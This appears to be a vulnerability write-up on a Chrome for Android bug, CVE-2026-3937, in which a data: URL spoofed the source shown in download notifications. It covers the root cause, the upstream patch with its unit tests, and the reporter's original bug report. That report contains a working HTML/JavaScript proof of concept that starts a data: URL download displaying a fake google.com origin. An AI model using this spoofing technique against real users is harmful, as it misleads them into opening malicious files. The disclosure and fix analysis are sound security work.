CVE-2026-3937
Overview
Background
- `DownloadUtils.formatUrlForDisplayInNotification`
- An Android (Clank) Java utility in
components/browser_ui/utilthat turns a download’sGURLinto a short string shown in downloads UI surfaces such as notifications, or returnsnullto omit it. - `UrlFormatter.formatUrlForSecurityDisplay`
- The URL formatter for security-sensitive display; with
SchemeDisplay.OMIT_HTTP_AND_HTTPSit is designed to surface the meaningful origin of web (http/https) URLs. - Opaque origin
- The origin of URLs such as
data:or unregistered/non-standard schemes (e.g.asdf://foo.bar.test), which has no meaningful scheme/host/port tuple.org.chromium.url.Origin.create(url).isOpaque()returnstruefor these. - eTLD+1 fallback
- When the formatted URL exceeds the character
limit, the function falls back toUrlUtilities.getDomainAndRegistry()on the origin, or to the origin’s raw spec when there is no host.
Root Cause Analysis
DownloadUtils.formatUrlForDisplayInNotification previously rejected only empty or invalid URLs (GURL.isEmptyOrInvalid(url)) and then passed every other URL, including non-standard and data: URLs, to UrlFormatter.formatUrlForSecurityDisplay. If that string fit within limit, it was returned directly. The commit message says an earlier fix (crrev.com/c/6701188) only corrected the too-long fallback path for hostless schemes. For non-standard schemes formatUrlForSecurityDisplay() itself “may produce misleading results”, so attacker-chosen text in such a URL could be shown in downloads UI as if it identified the download source. The violated invariant is that the downloads UI shows only a source string that meaningfully identifies an origin.
The fix adds a check before any formatting: if (Origin.create(url).isOpaque()) return null;, so opaque-origin URLs skip both the formatter and the fallback path and the UI omits the URL entirely. The remaining changes rename the local origin to originAsUrl without changing behavior. The new DownloadUtilsTest.java is cut off in the diff shown, but its visible cases assert null for data:text/plain,Hello and asdf://foo.bar.test.
formatUrlForSecurityDisplay() output for URLs that have no real origin, letting arbitrary URL text appear as the download source. The fix tightens the input check and returns null for any opaque-origin URL, so no text is shown for such downloads.Attack Path
- Craft a non-standard download URL
The attacker builds a download whose URL has an opaque origin (e.g. a
data:URL or a non-standard scheme) and whose text is chosen to look like a trusted site when formatted. - Trigger the download on Android Chrome
A web page the victim visits starts the download (inferred: for example through a link with a
downloadattribute; any user-gesture requirement is not shown in the diff). - Formatter output shown as source
The unpatched
formatUrlForDisplayInNotificationpasses the URL toformatUrlForSecurityDisplay()and, when the result fitslimit, returns it for display in downloads UI. - User misled about provenance The notification or downloads surface shows a misleading source string, which may lead the user to trust and open the file (inferred).
Impact Assessment
Files Changed
components/browser_ui/util/android/BUILD.gncomponents/browser_ui/util/android/java/src/org/chromium/components/browser_ui/util/DownloadUtils.javacomponents/browser_ui/util/android/java/src/org/chromium/components/browser_ui/util/DownloadUtilsTest.java
Audit Directions
- Other callers of `formatUrlForSecurityDisplay` on arbitrary schemesReview Android and desktop UI (permission prompts, page info, external protocol dialogs, share sheets, download bubbles) that pass non-
http(s)URLs to the security formatter and show the result as an origin, and check for an opaque-origin guard. - Fallback branches that show raw specsCode like the
getPossiblyInvalidSpec()fallback that shows a URL’s raw text when no host exists can inject attacker-controlled strings into trusted UI. Prefer omitting the text or showing a precursor origin. - Desktop/iOS download source formatting parityCheck that the equivalent download-source formatting on other platforms also suppresses or correctly represents opaque origins (
data:,blob:with opaque precursor, custom schemes).
Patch
From 9286eb828b8e02637eb59ee32d38fdb5a7fa7585 Mon Sep 17 00:00:00 2001
From: Lily Chen <chlily@chromium.org>
Date: Tue, 20 Jan 2026 11:58:34 -0800
Subject: [PATCH] Android downloads UI: Do not display invalid or non-standard URLs
This fixes a util function used for formatting a download URL to display
to the user in various downloads UI surfaces in Clank.
In crrev.com/c/6701188, we previously fixed the fallback logic that
kicks in when formatUrlForSecurityDisplay() produces a string that is
too long. For certain non-standard URL schemes that do not have a host,
that CL made us fall back to the text of the URL itself rather than
trying to parse out an eTLD+1 (which is not meaningful when there is no
host).
However, that previous CL did not account for edge cases in which
formatUrlForSecurityDisplay() itself may produce misleading results for
non-standard URL schemes.
In this CL, we stop attempting to even call
formatUrlForSecurityDisplay() for such non-standard URLs, and we do not
display any fallback. Instead, we always omit the download URL/origin if
it is an opaque origin. Even if there may be some textual representation
of the URL available, in these cases it is not necessarily meaningful to
the user and may allow misleading strings to be injected, so prefer to
omit it.
Adds unit tests for this formatting util function.
Change-Id: I2231d1527def0480710a7120ae861ac3556fd0c0
Bug: 473118648
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7476846
Commit-Queue: Lily Chen <chlily@chromium.org>
Reviewed-by: David Trainor <dtrainor@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1571795}
---
diff --git a/components/browser_ui/util/android/BUILD.gn b/components/browser_ui/util/android/BUILD.gn
index 2843120..a331eaa 100644
--- a/components/browser_ui/util/android/BUILD.gn
+++ b/components/browser_ui/util/android/BUILD.gn
@@ -77,6 +77,7 @@
"java/src/org/chromium/components/browser_ui/util/BitmapCacheTest.java",
"java/src/org/chromium/components/browser_ui/util/ComposedBrowserControlsVisibilityDelegateTest.java",
"java/src/org/chromium/components/browser_ui/util/DimensionCompatUnitTest.java",
+ "java/src/org/chromium/components/browser_ui/util/DownloadUtilsTest.java",
"java/src/org/chromium/components/browser_ui/util/TimeTextResolverUnitTest.java",
]
deps = [
@@ -86,9 +87,12 @@
"//base:base_junit_test_support",
"//base/test:test_support_java",
"//cc:cc_java",
+ "//components/embedder_support/android:util_java",
+ "//components/url_formatter/android:url_formatter_java",
"//content/public/android:content_java",
"//third_party/junit",
"//third_party/mockito:mockito_java",
+ "//url:gurl_java",
]
}
diff --git a/components/browser_ui/util/android/java/src/org/chromium/components/browser_ui/util/DownloadUtils.java b/components/browser_ui/util/android/java/src/org/chromium/components/browser_ui/util/DownloadUtils.java
index c4821dff..28593b00 100644
--- a/components/browser_ui/util/android/java/src/org/chromium/components/browser_ui/util/DownloadUtils.java
+++ b/components/browser_ui/util/android/java/src/org/chromium/components/browser_ui/util/DownloadUtils.java
@@ -19,6 +19,7 @@
import org.chromium.components.url_formatter.SchemeDisplay;
import org.chromium.components.url_formatter.UrlFormatter;
import org.chromium.url.GURL;
+import org.chromium.url.Origin;
/** A class containing some utility static methods. */
@NullMarked
@@ -93,6 +94,9 @@
* Adjusts a URL for display to the user in a text view subject to char limits. Could elide
* parts the URL if it is too long as per readability and security aspects.
*
+ * <p>This returns null for invalid or non-standard URLs, or if there is no suitable way to
+ * format the URL within the character limit.
+ *
* @param url The full URL.
* @param limit Character limit.
* @return The text to display, or null if the input was invalid or cannot be shortened enough.
@@ -101,6 +105,17 @@
@Nullable GURL url, int limit) {
if (GURL.isEmptyOrInvalid(url)) return null;
+ // Don't attempt to format and display invalid or non-standard URLs which have opaque
+ // origins. For such URLs (e.g. "data:" scheme URLs), it is not quite meaningful to display
+ // (parts of) the URL in the UI, unlike normal "webby" schemes ("http" and "https") where an
+ // eTLD+1 may be meaningfully extracted from the host part to help the user make a security
+ // decision about the download.
+ // TODO(chlily): Consider exposing url::Origin::Resolve() to JNI and using it to get the
+ // precursor origin to display to the user in cases where the origin itself is opaque.
+ if (Origin.create(url).isOpaque()) {
+ return null;
+ }
+
String formattedUrl =
UrlFormatter.formatUrlForSecurityDisplay(url, SchemeDisplay.OMIT_HTTP_AND_HTTPS);
if (!TextUtils.isEmpty(formattedUrl) && formattedUrl.length() <= limit) {
@@ -110,12 +125,12 @@
// The formatted URL is unsuitable. One possible fallback is eTLD+1, but we should be
// careful to only parse for eTLD+1 if the origin has a host portion (some URL schemes
// don't).
- GURL origin = url.getOrigin();
+ GURL originAsUrl = url.getOrigin();
String fallback =
- !GURL.isEmptyOrInvalid(origin) && !origin.getHost().isEmpty()
+ !GURL.isEmptyOrInvalid(originAsUrl) && !originAsUrl.getHost().isEmpty()
? UrlUtilities.getDomainAndRegistry(
- origin.getSpec(), /* includePrivateRegistries= */ true)
- : origin.getPossiblyInvalidSpec();
+ originAsUrl.getSpec(), /* includePrivateRegistries= */ true)
+ : originAsUrl.getPossiblyInvalidSpec();
if (!TextUtils.isEmpty(fallback) && fallback.length() <= limit) {
return fallback;
}
diff --git a/components/browser_ui/util/android/java/src/org/chromium/components/browser_ui/util/DownloadUtilsTest.java b/components/browser_ui/util/android/java/src/org/chromium/components/browser_ui/util/DownloadUtilsTest.java
new file mode 100644
index 0000000..5a73f63
--- /dev/null
+++ b/components/browser_ui/util/android/java/src/org/chromium/components/browser_ui/util/DownloadUtilsTest.java
@@ -0,0 +1,161 @@
+// Copyright 2026 The Chromium Authors
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+package org.chromium.components.browser_ui.util;
+
+import static org.mockito.ArgumentMatchers.anyBoolean;
+import static org.mockito.ArgumentMatchers.anyString;
+import static org.mockito.ArgumentMatchers.eq;
+import static org.mockito.Mockito.never;
+import static org.mockito.Mockito.times;
+import static org.mockito.Mockito.verify;
+import static org.mockito.Mockito.when;
+
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.mockito.Mock;
+import org.mockito.junit.MockitoJUnit;
+import org.mockito.junit.MockitoRule;
+
+import org.chromium.base.test.BaseRobolectricTestRunner;
+import org.chromium.components.embedder_support.util.UrlUtilities;
+import org.chromium.components.embedder_support.util.UrlUtilitiesJni;
+import org.chromium.components.url_formatter.SchemeDisplay;
+import org.chromium.components.url_formatter.UrlFormatter;
+import org.chromium.url.GURL;
+
+/** Unit tests for {@link DownloadUtils}. */
+@RunWith(BaseRobolectricTestRunner.class)
+public class DownloadUtilsTest {
+ @Rule public MockitoRule mMockitoRule = MockitoJUnit.rule();
+
+ @Mock private UrlUtilities.Natives mUrlUtilitiesJniMock;
+
+ @Before
+ public void setUp() {
+ UrlUtilitiesJni.setInstanceForTesting(mUrlUtilitiesJniMock);
+ GURL.ensureNativeInitializedForGURL();
+ }
+
+ @Test
+ public void testFormatUrlForDisplayInNotification_InvalidOrEmptyUrl() {
+ Assert.assertNull(DownloadUtils.formatUrlForDisplayInNotification(null, 100));
+ GURL emptyUrl = new GURL("");
+ Assert.assertNull(DownloadUtils.formatUrlForDisplayInNotification(emptyUrl, 100));
+ GURL invalidUrl = new GURL("foo");
+ Assert.assertNull(DownloadUtils.formatUrlForDisplayInNotification(invalidUrl, 100));
+ }
+
+ @Test
+ public void testFormatUrlForDisplayInNotification_OpaqueOrigin() {
+ GURL dataUrl = new GURL("data:text/plain,Hello");
+ Assert.assertNull(DownloadUtils.formatUrlForDisplayInNotification(dataUrl, 100));
+ GURL bogusSchemeUrl = new GURL("asdf://foo.bar.test");
+ Assert.assertNull(DownloadUtils.formatUrlForDisplayInNotification(bogusSchemeUrl, 100));
+ }
+
+ @Test
+ public void testFormatUrlForDisplayInNotification_FitsUnderLimit() {
+ String urlSpec = "https://example.test/path?foo=bar";
+ GURL url = new GURL(urlSpec);
+ useMockGetDomainAndRegistry(url);
+ String expectedFromUrlFormatter = "example.test";
+
+ String urlFormatterOutput =
+ UrlFormatter.formatUrlForSecurityDisplay(url, SchemeDisplay.OMIT_HTTP_AND_HTTPS);
+ Assert.assertEquals(expectedFromUrlFormatter, urlFormatterOutput);
+
+ String formatted = DownloadUtils.formatUrlForDisplayInNotification(url, urlSpec.length());
+ Assert.assertEquals(expectedFromUrlFormatter, formatted);
+ }
+
Original Bug Report
Download origin spoofing using hostname in data uri.
Steps to reproduce the problem
- Host the code:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Download & Fullscreen on Keypress</title>
</head>
<body>
<center><h2>POC by Chigorin!</h2></center>
<input type="text" id="triggerInput">
<script>
document.getElementById('triggerInput').addEventListener('click', function() {
// request fullscreen
setTimeout(function() {
openWin();
}, 500);
window.open('https://www.google.com', '_blank');
}, { once: false }); // Use { once: true } to ensure it only fires once
// Download helper
function Puf(uri, name) {
const link = document.createElement("a");
link.href = uri;
link.download = name;
document.body.appendChild(link);
link.click();
document.body.removeChild(link);
}
// Kick off your “APK” download
function openWin() {
Puf(
"data:https://google.com/ application/x-msdownload;base64,ZXN0dGVzdGVzdHRlc3Q=",
"google.mp4"
);
}
</script>
</body>
</html>
- Click on the input box and wait for the prompt.
- Notice the prompt origin contains data:https://google.com
==Note: you can change the file type to anything, even malicious like apk and the prompt will contain fake origin only thing matters is the payload you embed which is after a comma==
Problem Description
The download origin is a point of trust for opening any file and in this case that trust is broken by spoofed origin allowing the victim to click and open the malicious file giving access to the attacker.
Summary
Download origin spoofing using hostname in data uri.
Custom Questions
Reporter credit:
Abhishek Kumar
Additional Data
Category: Security
Chrome Channel: Stable
Regression: Yes \